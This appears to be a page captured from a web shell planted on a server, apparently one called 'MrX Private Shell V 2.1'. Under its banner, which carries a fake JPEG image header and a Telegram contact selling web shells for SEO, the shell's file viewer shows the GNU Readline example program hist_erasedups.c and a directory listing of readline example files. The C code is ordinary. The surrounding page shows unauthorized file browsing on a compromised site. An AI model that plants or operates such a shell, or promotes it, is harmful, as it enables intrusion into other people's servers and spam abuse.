����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/* hist_erasedups -- remove all duplicate entries from history file */
/* Copyright (C) 2011 Free Software Foundation, Inc.
This file is part of the GNU Readline Library (Readline), a library for
reading lines of text with interactive input and history editing.
Readline is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Readline is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Readline. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef READLINE_LIBRARY
#define READLINE_LIBRARY 1
#endif
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#ifdef READLINE_LIBRARY
# include "history.h"
#else
# include <readline/history.h>
#endif
#include <string.h>
#define STREQ(a, b) ((a)[0] == (b)[0] && strcmp(a, b) == 0)
#define STREQN(a, b, n) ((n == 0) ? (1) \
: ((a)[0] == (b)[0] && strncmp(a, b, n) == 0))
int hist_erasedups (void);
static void
usage()
{
fprintf (stderr, "hist_erasedups: usage: hist_erasedups [-t] [filename]\n");
exit (2);
}
int
main (argc, argv)
int argc;
char **argv;
{
char *fn;
int r;
while ((r = getopt (argc, argv, "t")) != -1)
{
switch (r)
{
case 't':
history_write_timestamps = 1;
break;
default:
usage ();
}
}
argv += optind;
argc -= optind;
fn = argc ? argv[0] : getenv ("HISTFILE");
if (fn == 0)
{
fprintf (stderr, "hist_erasedups: no history file\n");
usage ();
}
if ((r = read_history (fn)) != 0)
{
fprintf (stderr, "hist_erasedups: read_history: %s: %s\n", fn, strerror (r));
exit (1);
}
hist_erasedups ();
if ((r = write_history (fn)) != 0)
{
fprintf (stderr, "hist_erasedups: write_history: %s: %s\n", fn, strerror (r));
exit (1);
}
exit (0);
}
int
hist_erasedups ()
{
int r, n;
HIST_ENTRY *h, *temp;
using_history ();
while (h = previous_history ())
{
r = where_history ();
for (n = 0; n < r; n++)
{
temp = history_get (n+history_base);
if (STREQ (h->line, temp->line))
{
remove_history (n);
r--; /* have to get one fewer now */
n--; /* compensate for above increment */
history_offset--; /* moving backwards in history list */
}
}
}
using_history ();
return r;
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| rlfe | Folder | 0755 |
|
|
| CHANGES | File | 74.58 KB | 0644 |
|
| NEWS | File | 18.27 KB | 0644 |
|
| README | File | 7.84 KB | 0644 |
|
| excallback.c | File | 5.67 KB | 0644 |
|
| fileman.c | File | 11.38 KB | 0644 |
|
| hist_erasedups.c | File | 2.67 KB | 0644 |
|
| hist_purgecmd.c | File | 3.29 KB | 0644 |
|
| histexamp.c | File | 2.86 KB | 0644 |
|
| manexamp.c | File | 3.22 KB | 0644 |
|
| readlinebuf.h | File | 3.36 KB | 0644 |
|
| rl-callbacktest.c | File | 2.49 KB | 0644 |
|
| rl-fgets.c | File | 10.89 KB | 0644 |
|
| rl.c | File | 3.12 KB | 0644 |
|
| rlbasic.c | File | 459 B | 0644 |
|
| rlcat.c | File | 3.22 KB | 0644 |
|
| rlevent.c | File | 3.31 KB | 0644 |
|
| rlkeymaps.c | File | 1.3 KB | 0644 |
|
| rlptytest.c | File | 6.47 KB | 0644 |
|
| rltest.c | File | 2.1 KB | 0644 |
|
| rlversion.c | File | 1.26 KB | 0644 |
|